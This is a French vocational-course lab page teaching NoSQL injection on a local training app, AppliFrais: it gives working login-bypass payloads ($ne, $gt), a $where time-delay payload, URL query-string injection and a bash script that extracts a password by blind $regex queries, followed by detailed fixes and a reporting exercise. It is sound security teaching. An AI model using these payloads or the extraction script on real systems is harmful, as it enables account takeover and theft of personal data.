Aller au contenu
Réussir mon BTS SIO

Tape une notion, une commande ou le nom d'une épreuve.

Par exemple

Injection NoSQL9 livrables

Injection NoSQL (MongoDB)

« MongoDB n'a pas de SQL, donc pas d'injection » — fausse croyance, et dangereuse. Un simple { "$ne": null } glissé dans une requête contourne le login d'AppliFrais. Aujourd'hui tu exploites l'injection NoSQL sur ta propre app, puis tu la corriges avec validation de type et bon usage de Mongoose.

Par Josselyn C., prof de BTS SIO. Publié le , mis à jour le .

Objectif
comprendre, exploiter et corriger une injection NoSQL sur AppliFrais (MongoDB/Mongoose)
On manipule
AppliFrais en local, Express, Mongoose, curl/Postman, les opérateurs Mongo ($ne, $gt, $regex, $where)
Pré-requis
injection SQL (séance précédente), AppliFrais qui démarre (auth, find Mongoose)

Cadre légal : AppliFrais LOCAL uniquement. Injecter sur un système tiers est un délit pénal (art. 323-1 et s.).

Avant de commencer

Pourquoi cette séance

Tu as vu l'injection SQL : une donnée qui devient du code. L'injection NoSQL est la même idée transposée à MongoDB — et elle touche directement AppliFrais. Le piège : avec MongoDB, une requête est un objet JSON. Si l'API laisse l'utilisateur envoyer un objet là où elle attend une chaîne, l'utilisateur injecte des opérateurs Mongo ($ne, $gt, $regex, $where) qui changent le sens de la requête. Résultat : bypass de login, contournement de filtre, parfois exécution de code serveur. Tu vas l'exploiter sur ton AppliFrais, puis le blinder couche par couche.

Ce que tu vas apprendre

ConceptCe que tu sauras faire
Le mécanisme NoSQLexpliquer pourquoi un objet injecté détourne un find()
Login bypasste connecter sans mot de passe via $ne / $gt
Opérateurs dangereuxreconnaître $ne, $gt, $regex, $where
Injection par l'URLcontourner un filtre via ?champ[$ne]=...
Extraction aveugledeviner une valeur caractère par caractère avec $regex
Validationforcer le type des entrées (string attendu = string reçu) + schéma Zod/Joi
Durcissementexpress-mongo-sanitize, find-par-login + bcrypt.compare

Cartographie du risque — chiffres à retenir pour l'E7

CritèreValeur pour ce support
Référentiel OWASPA03:2021 — Injection (englobe SQLi, NoSQLi, OS injection, LDAP injection)
Score CVSS 3.1 typiqueAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 / 10 (Critique) — accès réseau, aucun prérequis, confidentialité + intégrité compromises
CVE de référenceCVE-2019-11429 — injection NoSQL via query string dans une app Node/Mongo, CVSS 9.8 ; illustre que le vecteur URL (chap. 5) est le vecteur le plus signalé
DCP exposéeslogin, rôle, montants de frais, déplacements — données personnelles des visiteurs GSB au sens de l'art. 4 RGPD
Obligation légaleArt. 32 RGPD : mesures techniques appropriées pour sécuriser tout traitement de DCP
Sanction maximaleArt. 83 §4 RGPD : 10 M€ ou 2 % du CA mondial pour violation des mesures de sécurité ; art. 83 §5 : 20 M€ ou 4 % du CA pour les manquements aux droits fondamentaux
Délai de notificationArt. 33 RGPD : violation de DCP → notification CNIL sous 72 h (obligation, pas recommandation — dépasser ce délai est lui-même sanctionnable)

0. Pourquoi MongoDB est injectable

En SQL, une requête est un texte : SELECT ... WHERE login='marc' AND mdp='secret'. En MongoDB, une requête est un objet : findOne({ login: "marc", motdepasse: "secret" }). Le danger vient de là : si ces valeurs proviennent telles quelles du client, le client peut envoyer un objet au lieu d'une chaîne — et un objet, en Mongo, peut être un opérateur.

Chaîne attendue vs objet injecté

En haut, une chaine : la comparaison est honnete. En bas, un objet operateur : la requete change de sens et matche n'importe qui.

En haut, une chaine : la comparaison est honnete. En bas, un objet operateur : la requete change de sens et matche n'importe qui.

Le code vulnérable d'AppliFrais

// routes/auth.js -- VERSION VULNERABLE (labo)
// req.body est du JSON envoye par le client
const { login, motdepasse } = req.body;
const visiteur = await Visiteur.findOne({
  login: login,
  motdepasse: motdepasse        // comparaison directe + mot de passe en clair : double faute
});
if (visiteur) { /* on connecte : on signe un JWT */ }

1. Préparer ton labo

On exploite sur ton AppliFrais. Il faut donc : l'API qui tourne, Mongo accessible, et un client pour envoyer des requêtes brutes (curl ou Postman). On utilise curl car il montre exactement ce qu'on envoie.

Étape 1 — démarrer l'API

powershell
cd appli-frais/api
npm run dev
Ce que tu dois voir
[api] Server listening on http://localhost:3000
[api] MongoDB connected (appliFrais @ 27017)

Étape 2 — vérifier curl

powershell
curl --version
Ce que tu dois voir
curl 8.4.0 (x86_64-apple-darwin23.0) libcurl/8.4.0 ...

Étape 3 — un login légitime, pour calibrer

curl -s -X POST http://localhost:3000/api/login \
  -H "Content-Type: application/json" \
  -d '{"login":"marc","motdepasse":"mauvais"}'
Ce que tu dois voir
{"error":"Identifiants invalides"}

2. Login bypass ($ne, $gt)

On envoie maintenant un objet à la place de la chaîne mot de passe. L'opérateur fait le reste.

Bypass avec $ne

curl -s -X POST http://localhost:3000/api/login \
  -H "Content-Type: application/json" \
  -d '{"login":"marc","motdepasse":{"$ne":null}}'
Ce que tu dois voir
// requete reellement executee cote serveur :
Visiteur.findOne({ login: 'marc', motdepasse: { '$ne': null } })
// => trouve marc, mot de passe NON verifie => connecte

// reponse HTTP :
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6...","visiteur":{"login":"marc","role":"visiteur"}}

Même résultat avec $gt

curl -s -X POST http://localhost:3000/api/login \
  -H "Content-Type: application/json" \
  -d '{"login":"marc","motdepasse":{"$gt":""}}'
Ce que tu dois voir
Visiteur.findOne({ login: 'marc', motdepasse: { '$gt': '' } })
// => connecte (token renvoye)

Et si tu ne connais aucun login ?

curl -s -X POST http://localhost:3000/api/login \
  -H "Content-Type: application/json" \
  -d '{"login":{"$ne":null},"motdepasse":{"$ne":null}}'
Ce que tu dois voir
Visiteur.findOne({ login: { '$ne': null }, motdepasse: { '$ne': null } })
// => renvoie le 1er visiteur de la collection
{"token":"eyJhbGci...","visiteur":{"login":"admin","role":"comptable"}}

Flag B1

Production (reproduire le bypass)

Sur ta route de login vulnérable, connecte-toi sans le bon mot de passe via {"$ne":null}.
Rends : la commande curl exacte + la réponse JSON contenant le token + une capture de l'app affichant ta session marc.

0 sur 9 dans cette étape

Flag A1

Checkpoint (mesurer l'exposition)

Compte combien de comptes sont accessibles par {login:{$ne:null}} sur ta base :

mongosh appliFrais --eval 'db.visiteurs.countDocuments({ login: { $ne: null } })'

Rends : FLAG-A1-<le nombre affiché> (ex. la valeur que renvoie ta base).

0 sur 9 dans cette étape

3. Les opérateurs qui font mal

Plusieurs opérateurs Mongo servent à l'injection. Connais-les pour les reconnaître et les bloquer.

OpérateurInjecté dans un champ, il…EffetSévérité CVSSPrésent depuis Mongo
{"$ne": null}« différent de null »matche n'importe quelle valeur → bypass authCritique (9.1)1.0
{"$gt": ""}« supérieur à vide »matche toute chaîne non vide → bypass authCritique (9.1)1.0
{"$regex": ".*"}« correspond à ce motif »extraction aveugle caractère par caractèreÉlevé (7.5)1.0
{"$in": [null,""]}« est dans cette liste »matche les comptes sans mot de passe ou à videÉlevé (7.5)1.0
{"$where": "..."}évalue du JavaScript côté serveurle plus grave : exécution de code arbitraire + DoSCritique (9.8)1.0 — désactivable depuis 4.4

Chronologie d'une attaque réelle — de 0 à la compromission

Chronologie d'une attaque NoSQLi : de la découverte à la compromission en moins de 2 minutes, extraction aveugle d'un mot de passe 8 caractères en ~208 requêtes (26 lettres × 8 positions max, en supposant que chaque test réussit rapidement).

Chronologie d'une attaque NoSQLi : de la découverte à la compromission en moins de 2 minutes, extraction aveugle d'un mot de passe 8 caractères en ~208 requêtes (26 lettres × 8 positions max, en supposant que chaque test réussit rapidement).

$where — l'exécution de code

// route VULNERABLE qui construit un filtre avec une entree :
const visiteurs = await Visiteur.find({
  $where: "this.role == '" + req.query.role + "'"   // concatenation : danger
});
Ce que tu dois voir
GET /api/visiteurs?role=x' || sleep(5000) || 'x
// => le serveur evalue du JS attaquant pour chaque document
// => reponse apres 5 s : preuve d'execution de code (blind par le temps)

Flag D1

Investigation

Cherche dans la doc officielle MongoDB : $where est-il activé par défaut sur ta version ? Et trouve une alternative à express-mongo-sanitize (ex. l'option Mongoose sanitizeFilter).
Rends : ta version Mongo, la réponse oui/non sourcée (lien doc), le nom de l'alternative trouvée.

0 sur 9 dans cette étape

4. Le blind via $regex

Parfois la route ne renvoie pas le mot de passe, juste « connecté / pas connecté ». On extrait quand même la valeur, caractère par caractère, en posant des questions oui/non à la base. C'est l'injection aveugle (blind), version NoSQL.

Tester le premier caractère

// "le mot de passe de marc commence-t-il par 's' ?"
curl -s -X POST http://localhost:3000/api/login \
  -H "Content-Type: application/json" \
  -d '{"login":"marc","motdepasse":{"$regex":"^s"}}'
Ce que tu dois voir
// ^s  -- match :
{"token":"eyJhbGci...","visiteur":{"login":"marc","role":"visiteur"}}
// ^a  -- pas de match :
{"error":"Identifiants invalides"}

Avancer caractère par caractère

{"motdepasse":{"$regex":"^s"}}     // OK   -- 1er = s
{"motdepasse":{"$regex":"^se"}}    // OK   -- 2e  = e
{"motdepasse":{"$regex":"^sec"}}   // OK   -- 3e  = c
{"motdepasse":{"$regex":"^sed"}}   // echec -- ce n'est pas d

Script d'extraction automatisée (bash — labo uniquement)

#!/usr/bin/env bash
# blind-nosqli.sh -- extrait un secret via $regex blind (sur ton labo UNIQUEMENT)
# Usage : bash blind-nosqli.sh marc
TARGET="${1:-marc}"
CHARSET="abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@!-_"
RESULT=""
MAX_LEN=20
TOTAL_REQ=0

for i in $(seq 1 $MAX_LEN); do
  FOUND=false
  while IFS= read -r -n1 c; do
    [ -z "$c" ] && continue
    TOTAL_REQ=$((TOTAL_REQ + 1))
    RESP=$(curl -s -X POST http://localhost:3000/api/login \
      -H "Content-Type: application/json" \
      -d "{\"login\":\"$TARGET\",\"motdepasse\":{\"\$regex\":\"^${RESULT}${c}\"}}")
    if echo "$RESP" | grep -q '"token"'; then
      RESULT="${RESULT}${c}"
      FOUND=true
      echo "[+] position $i trouvee : '$c'  →  '${RESULT}'"
      break
    fi
  done <<< "$CHARSET"
  $FOUND || { echo "[=] longueur atteinte a $((i-1)) caracteres"; break; }
done
echo ""
echo "Valeur extraite : ${RESULT}"
echo "Requetes envoyees : ${TOTAL_REQ}"
Ce que tu dois voir
$ bash blind-nosqli.sh marc
[+] position 1 trouvee : 's'  →  's'
[+] position 2 trouvee : 'e'  →  'se'
[+] position 3 trouvee : 'c'  →  'sec'
[+] position 4 trouvee : 'r'  →  'secr'
[+] position 5 trouvee : 'e'  →  'secre'
[+] position 6 trouvee : 't'  →  'secret'
[=] longueur atteinte a 6 caracteres

Valeur extraite : secret
Requetes envoyees : 47

Flag E1

Extension (extraction aveugle)

Sur ton labo, automatise l'extraction d'une valeur courte (ex. un code) via $regex dans un petit script (bash, Node ou Python).
Rends : ton script + la valeur reconstituée + le nombre de requêtes qu'il a fallu.

0 sur 9 dans cette étape

5. L'injection par l'URL

L'injection NoSQL ne passe pas que par le corps JSON : elle passe aussi par les paramètres d'URL (query string). C'est la porte qu'on oublie.

Comment Express transforme l'URL en objet

Ce que tu dois voir
// URL :          /api/fiches?statut[$ne]=CL
// parsee par Express (qs) en :
req.query = { statut: { '$ne': 'CL' } }

Filtre légitime

curl -s "http://localhost:3000/api/fiches?statut=VA" \
  -H "Authorization: Bearer $TOKEN"
Ce que tu dois voir
[ {"id":"f12","statut":"VA","montant":120}, {"id":"f19","statut":"VA","montant":80} ]

Détourner le filtre

curl -s "http://localhost:3000/api/fiches?statut%5B%24ne%5D=CL" \
  -H "Authorization: Bearer $TOKEN"
Ce que tu dois voir
FicheFrais.find({ statut: { '$ne': 'CL' } })
// => bien plus de fiches que prevu (tous statuts sauf CL)
[ {"id":"f01","statut":"CR","visiteur":"lea"}, {"id":"f07","statut":"MP","visiteur":"omar"}, ... ]

Flag B2

Production (contourner un filtre)

Trouve sur AppliFrais une route de filtrage (fiches par statut, par visiteur…) et détourne-la via l'URL (?champ[$ne]=...) pour obtenir plus de données que prévu.
Rends : l'URL injectée + la réponse JSON prouvant l'accès élargi.

0 sur 9 dans cette étape

6. Corriger : valider le type

La cause racine : on a accepté un objet là où on attendait une chaîne. La première parade est de vérifier le type de chaque entrée, avant toute requête.

Parade 1 — vérifier typeof

// SECURISE -- on refuse tout ce qui n'est pas une chaine
const { login, motdepasse } = req.body;
if (typeof login !== 'string' || typeof motdepasse !== 'string') {
  return res.status(400).json({ error: 'entrees invalides' });
}
// a partir d'ici, login et motdepasse sont forcement des chaines
Ce que tu dois voir
// on re-tente l'injection du Flag B1 :
curl ... -d '{"login":"marc","motdepasse":{"$ne":null}}'
// => HTTP 400
{"error":"entrees invalides"}

Parade 2 (mieux) — un schéma Zod

// SECURISE -- validation declarative
const { z } = require('zod');
const schema = z.object({
  login: z.string().min(3).max(50),
  motdepasse: z.string().min(8)
});
const data = schema.parse(req.body);   // leve une erreur si la forme est mauvaise

Zod vs Joi — quand choisir quoi ?

CritèreZodJoi
Installationnpm install zod (~130 kB)npm install joi (~140 kB)
Syntaxez.string().min(3).max(50) — chaînable, TypeScript-natifJoi.string().min(3).max(50) — similaire mais pas TS-natif
Inférence de type TSOui : z.infer<typeof schema> génère le type TS automatiquementNon (types séparés à écrire)
Renvoie des erreurs lisiblesZodError avec .errors[].message localisableValidationError avec .details[].message
Quand le choisirProjet TypeScript (AppliFrais 2A en TS) → Zod est la référenceProjet JS pur ou si Joi est déjà en place
Validation de query stringschema.parse(req.query) — même syntaxe que pour le bodyschema.validate(req.query)
// SECURISE -- Zod avec gestion d'erreur propre
const { z } = require('zod');

const LoginSchema = z.object({
  login:      z.string().min(3).max(50).trim(),
  motdepasse: z.string().min(8).max(128)
});

router.post('/login', (req, res, next) => {
  const result = LoginSchema.safeParse(req.body);   // ne leve PAS d'exception
  if (!result.success) {
    // result.error.errors contient le detail de chaque champ invalide
    return res.status(400).json({
      error:   'Corps invalide',
      details: result.error.errors.map(e => ({ champ: e.path[0], msg: e.message }))
    });
  }
  const { login, motdepasse } = result.data;   // types garantis : string
  // ... suite de l'auth
});
Ce que tu dois voir
// si on envoie {"login":"marc","motdepasse":{"$ne":null}} :
HTTP 400
{
  "error": "Corps invalide",
  "details": [
    { "champ": "motdepasse", "msg": "Expected string, received object" }
  ]
}

Flag B3

Production (la correction)

Corrige ta route de login (vérification de type OU schéma Zod/Joi) ET ta route de filtrage. Re-tente les injections des flags B1 et B2.
Rends : le code corrigé + les deux réponses HTTP 400 prouvant que les injections sont rejetées.

0 sur 9 dans cette étape

7. Le piège du faux correctif

Toutes les « corrections » ne se valent pas. Voici un correctif qui semble régler le problème mais laisse la porte ouverte. À toi de trouver le défaut.

// Tentative de correction -- INCORRECTE (piege a debusquer)
const login = String(req.body.login);          // on caste login en chaine
const motdepasse = req.body.motdepasse;         // ... et motdepasse ?
const visiteur = await Visiteur.findOne({ login, motdepasse });
if (!visiteur) return res.status(401).json({ error: 'Identifiants invalides' });
Ce que tu dois voir
// l'injection sur motdepasse marche TOUJOURS :
curl ... -d '{"login":"marc","motdepasse":{"$ne":null}}'
Visiteur.findOne({ login: 'marc', motdepasse: { '$ne': null } })
// => connecte. Le correctif n'a protege qu'UN seul champ.

Flag C1

Debug (corriger le faux correctif)

Identifie pourquoi ce correctif reste vulnérable, puis corrige-le pour que l'injection {"$ne":null} sur motdepasse soit aussi rejetée.
Rends : la ligne (ou les lignes) ajoutée(s) + la réponse HTTP 400 prouvant que l'injection ne passe plus.

0 sur 9 dans cette étape

8. Durcir MongoDB & Mongoose

La validation par route est la base. On ajoute des couches globales : défense en profondeur.

MesureCommentCe que ça bloque
Sanitiser les entréesexpress-mongo-sanitize (retire les clés $ et .)les opérateurs injectés, globalement
Désactiver $whereconfig serveur / ne jamais utiliser $where ni mapReducel'exécution de JS côté base
Typage Mongooseschéma strict (login: String)la coercition aide, mais ne suffit pas seule
Hacher les mots de passebcrypt + bcrypt.comparela comparaison en clair (A02) + limite l'impact

Étape 1 — poser le middleware sanitize

const mongoSanitize = require('express-mongo-sanitize');
app.use(express.json());
app.use(mongoSanitize());   // retire les cles $ et . de body, query et params
Ce que tu dois voir
// l'attaque arrive, la cle $ne est retiree avant Mongo :
curl ... -d '{"login":"marc","motdepasse":{"$ne":null}}'
// req.body devient { login: 'marc', motdepasse: {} }
// => findOne ne matche rien => 401 Identifiants invalides

Étape 2 — find par login, puis bcrypt.compare

Choisir le bon algorithme de hachage

AlgoRésistance brute-forceCoût recommandéTemps ~Quand l'utiliser
MD5 / SHA-1Aucune (cassé, tables arc-en-ciel)N/A< 1 µsJamais pour les mots de passe
SHA-256 (non salé)Faible (dictionnaire + rainbow)N/A1-5 µsIntégrité de fichiers, signatures — pas les MDP
bcryptÉlevée (facteur de coût adaptatif)cost 10–12~80–300 msMots de passe (référence Node.js)
argon2idTrès élevée (mémoire + CPU)memory 64 MB, iter 3~100–500 msNouveau projet haute sécurité (gagnant PHC 2015)
PBKDF2Moyenne (recommandée ANSSI/NIST)600 000 itérations (NIST 2023)~100–200 msConformité FIPS (environnements réglementés)
// SECURISE -- le mot de passe ne transite JAMAIS dans le find
const bcrypt = require('bcrypt');
const SALT_ROUNDS = 12;   // cost 12 : ~300 ms, bon pour AppliFrais

// --- Lors de la creation du compte (une seule fois) ---
const hash = await bcrypt.hash(motdepasse, SALT_ROUNDS);
// Stocker 'hash' dans la BDD, jamais 'motdepasse' en clair

// --- Lors du login ---
const { login, motdepasse } = req.body;
if (typeof login !== 'string' || typeof motdepasse !== 'string') {
  return res.status(400).json({ error: 'entrees invalides' });
}
const visiteur = await Visiteur.findOne({ login });          // login SEUL
if (!visiteur) return res.status(401).json({ error: 'Identifiants invalides' });
const ok = await bcrypt.compare(motdepasse, visiteur.hash);  // compare au hash
if (!ok) return res.status(401).json({ error: 'Identifiants invalides' });
// ... ici seulement : on signe le JWT
Ce que tu dois voir
// hash bcrypt stocke en base (cost 12) :
$2b$12$K8Y1RKLmmJL5Yx0Jlm9yIeOcF1X/YJn3KY8F2VBhQ4NuWxsVp.mK

// injection sur motdepasse, version durcie :
curl ... -d '{"login":"marc","motdepasse":{"$ne":null}}'
// => 400 (typeof) ; et meme sans ce garde, bcrypt.compare(objet, hash) echoue => 401

Étape 3 — Rate limiting (ralentir le blind $regex)

powershell
npm install express-rate-limit
// app.js ou routes/auth.js
const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({
  windowMs:    15 * 60 * 1000,  // fenetre de 15 minutes
  max:         20,               // max 20 tentatives par IP sur cette fenetre
  standardHeaders: true,         // renvoie RateLimit-* dans les headers de reponse
  legacyHeaders:   false,
  message: { error: 'Trop de tentatives, reessaie dans 15 minutes.' }
});

app.post('/api/login', loginLimiter, authController.login);
Ce que tu dois voir
// a la 21e tentative :
HTTP 429 Too Many Requests
RateLimit-Limit: 20
RateLimit-Remaining: 0
RateLimit-Reset: 1751488200
{"error":"Trop de tentatives, reessaie dans 15 minutes."}

Flag B4

Production (durcissement complet)

Ajoute express-mongo-sanitize ET passe le login à « find par login → bcrypt.compare ».
Rends : le code + la preuve que ni $ne ni un mot de passe en clair ne fonctionnent (réponses 400/401).

0 sur 9 dans cette étape

9. SQLi vs NoSQLi

Même famille (A03 Injection), même cause profonde (la donnée devient de la structure), mais des charges et des parades différentes. Garde ce tableau pour l'E7.

AspectInjection SQLInjection NoSQL (Mongo)
Forme de la requêtetexte : WHERE login='...'objet : findOne({ login: ... })
Charge typique' OR '1'='1{"$ne": null}
Canal d'entréechamp texte concaténéchamp JSON et query string (?champ[$ne]=x)
Cause racineconcaténation de chaîneentrée non typée passée à find
Score CVSS typique9.8 (CVSS:3.1 critique)9.1 (CVSS:3.1 critique)
Parade n°1requête paramétrée (AddWithValue / ?)validation de type / schéma Zod
Parade en profondeurORM, moindre privilège BDDexpress-mongo-sanitize, Mongoose strict, rate limiting
Exécution de codexp_cmdshell (SQL Server, rare)$where (JavaScript, désactivable Mongo 4.4+)
Extraction aveugleSLEEP() + test caractère par caractère$regex + test caractère par caractère
Outil de détectionsqlmap, OWASP ZAPnosqlmap, OWASP ZAP (module NoSQL), Burp Suite
Coût de remédiationRequêtes paramétrées : ~2 h sur une petite appValidation Zod + sanitize + bcrypt : ~4-8 h sur AppliFrais
Coût d'un audit DASTOWASP ZAP scan passif : gratuit / ~30 minIdem ; + test manuel des query string avec crochets

Chapitre 9 bis — Impact RGPD & nuances métier

Une injection NoSQL n'est pas qu'un problème technique : c'est une violation potentielle de données personnelles avec des conséquences juridiques et financières réelles. Cette section te donne les arguments pour l'E7 et pour un vrai rapport de sécurité.

Les données d'AppliFrais sous le prisme RGPD

DonnéeNature RGPDRisque en cas d'injectionObligation de protection
login, nom, prénomDonnée personnelle (art. 4 §1)Énumération complète des comptesChiffrement en transit (HTTPS) + contrôle accès
Adresse domicile, emailDonnée personnelleExfiltration via filtre $ne sur la collectionAccès limité au strict nécessaire (principe de minimisation, art. 5 §1 c)
Montants et fiches de fraisDonnée économique personnelleDivulgation de niveaux de rémunération/activitéPseudonymisation recommandée dans les exports (art. 25 RGPD)
Hash du mot de passeDonnée d'authentificationSi bcrypt cost < 10 : crackable après fuite de BDDHachage adaptatif (bcrypt/argon2) — art. 32 §1 a
Rôle (visiteur / comptable)Donnée de profilEscalade de privilèges si bypass du login par $neContrôle d'accès basé sur le rôle (RBAC) — vérification côté serveur, jamais côté client

Ce que dit la loi — les articles à citer

ArticleContenuSanction
Art. 32 RGPDObligation de mesures de sécurité appropriéesBase légale pour toute sanction de sécurité
Art. 33 RGPDNotification de violation à la CNIL sous 72 hAmende administrative si délai dépassé
Art. 34 RGPDNotification aux personnes concernées si risque élevéAmende + atteinte à la réputation
Art. 83 §4 RGPDViolation des art. 25, 32, 33, 34 (sécurité)Jusqu'à 10 M€ ou 2 % du CA mondial annuel
Art. 83 §5 RGPDAtteinte aux droits fondamentaux (art. 5, 6, 9…)Jusqu'à 20 M€ ou 4 % du CA mondial annuel
Art. 323-1 Code pénalAccès frauduleux à un STAD2 ans / 60 000 € (3 ans / 100 000 € si données altérées)

Nuances métier — ce que le débutant n'anticipe pas

SituationPiège courantBonne pratique
Logs de connexionOn log les tentatives réussies mais pas les échouées → on voit la compromission mais pas l'explorationLogger toutes les tentatives de login (succès ET échecs) avec IP, timestamp, user-agent — sans loguer le mot de passe
Message d'erreurRenvoyer « login invalide » vs « mot de passe invalide » révèle si un compte existeToujours le même message : "Identifiants invalides" — même timing (ajouter un délai artificiel si bcrypt.compare n'est pas atteint)
Durée de JWTToken sans expiration → un token volé via injection est valide indéfinimentExpiration courte : 15 min à 1 h pour les tokens d'accès, refresh token séparé de 7–30 jours en HttpOnly cookie
Index Mongo et $regexUne requête $regex sans index scanne TOUTE la collection → peut être utilisée pour un DoS en plus du blindPas d'index B-tree sur les champs de mot de passe (ils ne doivent pas être requêtés) ; l'absence d'index rend $regex plus lent (ce qui est ici un avantage défensif accidentel)
express-mongo-sanitize en updateLa sanitisation retire les $ de req.body — mais $set dans un update Mongoose doit rester → conflitUtiliser l'option { allowDots: false, replaceWith: '_' } plutôt que la suppression brute, ou ne sanitiser que les routes concernées

10. Mini-projet : rapport & carte de menace

La mission

Comme pour l'injection SQL, tu produis le rapport de vulnérabilité (format E7) de l'injection NoSQL trouvée sur AppliFrais. Cinq sections, factuelles, reproductibles :

  1. Description : injection NoSQL (A03), route concernée, opérateur utilisé ;
  2. Preuve : la requête injectée (curl/URL) + la réponse obtenue ;
  3. Impact : connexion sans mot de passe, accès à des données non autorisées (DIC : confidentialité) ;
  4. Correction : validation de type/schéma + sanitize + find-par-login/bcrypt ;
  5. Vérification : la même injection renvoie désormais 400/401.

Flag B6

Mini-projet (livrable)

Rédige le rapport complet (5 sections) de l'injection NoSQL d'AppliFrais et mets à jour ta carte de menace : la ligne A03 (NoSQL) passe de « exposé » à « corrigé », avec la date et la parade.
Rends : ton rapport + la ligne mise à jour de ta carte de menace.

0 sur 9 dans cette étape

Pour finir

L'essentiel

NotionÀ retenir
causeun objet (opérateur Mongo) accepté là où on attend une chaîne
effetbypass de login ($ne/$gt), contournement de filtre, blind ($regex), exec JS ($where)
canauxcorps JSON et query string (l'URL qu'on oublie)
parade n°1valider le type / le schéma de chaque entrée (body + query)
en profondeurexpress-mongo-sanitize, find-par-login + bcrypt.compare, désactiver $where

Vérifie tes acquis

  1. Pourquoi MongoDB est-il injectable alors qu'il n'a pas de SQL ?
  2. Que fait {"$ne": null} injecté dans le champ mot de passe d'un login ?
  3. Donne deux opérateurs qui permettent un bypass, et un qui permet l'exécution de JS.
  4. Comment l'injection passe-t-elle par l'URL avec Express ? Donne la syntaxe.
  5. En quoi le blind $regex rend inutile le fait de cacher les messages d'erreur ?
  6. Pourquoi typeof === 'string' bloque l'attaque ?
  7. Pourquoi caster un seul champ (faux correctif) ne suffit pas ?
  8. Pourquoi comparer le mot de passe avec bcrypt.compare plutôt que dans le find ?

Corrigé du quiz — auto-vérification

Glossaire

MotDéfinition
Injection NoSQLinjecter un opérateur Mongo via une entrée pour détourner une requête
Opérateur Mongoclé spéciale commençant par $ ($ne, $gt, $regex…) qui ajoute une condition
$ne / $gt« différent de » / « supérieur à » — détournés pour bypasser une auth
$regexfiltre par motif ; sert au blind (deviner lettre par lettre)
$whereopérateur exécutant du JavaScript côté serveur (à proscrire)
Blindextraction aveugle : on déduit une valeur via le comportement (oui/non, temps)
Query stringles paramètres d'URL après le ? ; parsés en objet par Express
Sanitisationnettoyer une entrée (retirer les clés $, .)
Validation de schémavérifier qu'une entrée a la forme attendue (Zod, Joi)
bcrypt.comparecomparer un mot de passe à son empreinte hachée

Injection NoSQL terminé ?

Coche chaque livrable quand tu l'as : c'est la preuve que l'étape est acquise.

livrables
–
de série
–
Passer à l'étape suivante : XSS : injecter du scriptVoir toutes les étapes du TP